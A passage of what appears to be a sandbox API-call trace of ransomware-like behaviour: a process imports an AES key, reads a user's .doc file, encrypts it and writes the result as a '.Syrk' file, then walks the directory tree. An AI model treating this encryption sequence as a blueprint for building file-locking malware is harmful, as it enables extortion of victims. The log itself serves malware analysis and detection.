(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0223.778] SystemFunction041 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.778] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0223.778] SystemFunction040 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.778] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0223.778] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0223.778] SystemFunction041 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.778] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0223.778] SystemFunction040 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.778] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0223.778] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0223.778] SystemFunction041 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.779] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0223.779] SystemFunction040 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.779] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0223.779] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0223.779] SystemFunction041 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.779] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0223.779] SystemFunction040 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.779] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0223.779] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0223.779] SystemFunction041 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.780] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0223.780] SystemFunction040 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.780] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0223.780] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0223.780] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0223.781] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0223.781] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0223.781] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0223.781] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0223.781] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0223.781] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0223.781] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0223.781] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0223.781] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0223.781] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0223.782] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0223.782] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0223.782] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0223.782] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0223.782] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0223.782] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0223.782] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0223.782] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0223.782] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0223.783] EtwEventActivityIdControl () returned 0x0 [0223.783] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0223.783] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0223.783] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0223.783] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0223.786] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4cff0) returned 1 [0223.788] CryptImportKey (in: hProv=0x5c4cff0, pbData=0x24faaa8*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x3b5168) returned 1 [0223.788] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0223.789] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.789] EtwEventActivityIdControl () returned 0x0 [0223.789] EtwEventActivityIdControl () returned 0x0 [0223.789] EtwEventActivityIdControl () returned 0x0 [0223.799] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\n2moodz97hn hy_rw.doc")) returned 0x20 [0223.800] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\n2moodz97hn hy_rw.doc")) returned 0x20 [0223.800] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0223.801] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc", nBufferLength=0x49, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc", lpFilePart=0x0) returned 0x48 [0223.801] EtwEventActivityIdControl () returned 0x0 [0223.801] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.802] EtwEventActivityIdControl () returned 0x0 [0223.802] EtwEventActivityIdControl () returned 0x0 [0223.802] EtwEventActivityIdControl () returned 0x0 [0223.803] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0223.804] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc", nBufferLength=0x49, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc", lpFilePart=0x0) returned 0x48 [0223.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0223.804] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\n2moodz97hn hy_rw.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0223.804] GetFileType (hFile=0x454) returned 0x1 [0223.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0223.804] GetFileType (hFile=0x454) returned 0x1 [0223.805] EtwEventActivityIdControl () returned 0x0 [0223.805] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.805] EtwEventActivityIdControl () returned 0x0 [0223.805] EtwEventActivityIdControl () returned 0x0 [0223.805] EtwEventActivityIdControl () returned 0x0 [0223.807] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0223.807] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc.Syrk", nBufferLength=0x4e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc.Syrk", lpFilePart=0x0) returned 0x4d [0223.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0223.807] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\n2moodz97hn hy_rw.doc.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0223.808] GetFileType (hFile=0x458) returned 0x1 [0223.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0223.808] GetFileType (hFile=0x458) returned 0x1 [0223.809] EtwEventActivityIdControl () returned 0x0 [0223.846] CryptGenRandom (in: hProv=0x5c4cff0, dwLen=0x10, pbBuffer=0x250e9e0 | out: pbBuffer=0x250e9e0) returned 1 [0223.847] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0223.847] CryptDuplicateKey (in: hKey=0x3b5168, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x3b5368) returned 1 [0223.847] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0223.847] CryptSetKeyParam (hKey=0x3b5368, dwParam=0x4, pbData=0x250fd0c*=0x1, dwFlags=0x0) returned 1 [0223.847] CryptSetKeyParam (hKey=0x3b5368, dwParam=0x1, pbData=0x250fcd8, dwFlags=0x0) returned 1 [0223.847] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.848] EtwEventActivityIdControl () returned 0x0 [0223.848] EtwEventActivityIdControl () returned 0x0 [0223.848] EtwEventActivityIdControl () returned 0x0 [0223.849] EtwEventActivityIdControl () returned 0x0 [0223.850] ReadFile (in: hFile=0x454, lpBuffer=0x2512954, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2512954*, lpNumberOfBytesRead=0x5a2e7d8*=0x6494, lpOverlapped=0x0) returned 1 [0223.851] CryptEncrypt (in: hKey=0x3b5368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x252696c*, pdwDataLen=0x5a2e7cc*=0x6490, dwBufLen=0x6490 | out: pbData=0x252696c*, pdwDataLen=0x5a2e7cc*=0x6490) returned 1 [0223.852] WriteFile (in: hFile=0x458, lpBuffer=0x250eabc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x250eabc*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0223.853] WriteFile (in: hFile=0x458, lpBuffer=0x2527958*, nNumberOfBytesToWrite=0x54a4, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2527958*, lpNumberOfBytesWritten=0x5a2e7b0*=0x54a4, lpOverlapped=0x0) returned 1 [0223.854] ReadFile (in: hFile=0x454, lpBuffer=0x2512954, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2512954*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0223.854] CryptEncrypt (in: hKey=0x3b5368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x252ce08*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x252ce08*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0223.854] CryptEncrypt (in: hKey=0x3b5368, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x252ce24*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x252ce24*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0223.854] WriteFile (in: hFile=0x458, lpBuffer=0x250eabc*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x250eabc*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0223.854] CloseHandle (hObject=0x458) returned 1 [0223.856] CloseHandle (hObject=0x454) returned 1 [0223.856] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.857] EtwEventActivityIdControl () returned 0x0 [0223.857] EtwEventActivityIdControl () returned 0x0 [0223.857] EtwEventActivityIdControl () returned 0x0 [0223.878] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\n2moodz97hn hy_rw.doc")) returned 0x20 [0223.880] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0223.880] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc", nBufferLength=0x49, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc", lpFilePart=0x0) returned 0x48 [0223.881] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0223.881] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0223.881] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0223.881] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0223.882] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0223.882] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0223.882] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0223.882] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0223.882] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0223.882] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0223.882] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0223.882] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0223.882] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0223.882] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0223.882] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0223.883] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0223.883] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0223.883] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0223.883] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0223.883] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", lpFilePart=0x0) returned 0x24 [0223.883] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq")) returned 0x10 [0223.883] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq")) returned 0x10 [0223.883] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0223.883] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ", lpFilePart=0x0) returned 0x2b [0223.883] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk")) returned 0x10 [0223.884] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk")) returned 0x10 [0223.884] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0223.884] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK", lpFilePart=0x0) returned 0x32 [0223.884] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\n2moodz97hn hy_rw.doc")) returned 0x20 [0223.884] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0223.884] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc", nBufferLength=0x49, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc", lpFilePart=0x0) returned 0x48 [0223.887] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0223.887] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc", nBufferLength=0x49, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc", lpFilePart=0x0) returned 0x48 [0223.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0223.887] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0223.887] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc", nBufferLength=0x49, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc", lpFilePart=0x0) returned 0x48 [0223.888] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\n2mooDz97hN Hy_Rw.doc\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\n2moodz97hn hy_rw.doc\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 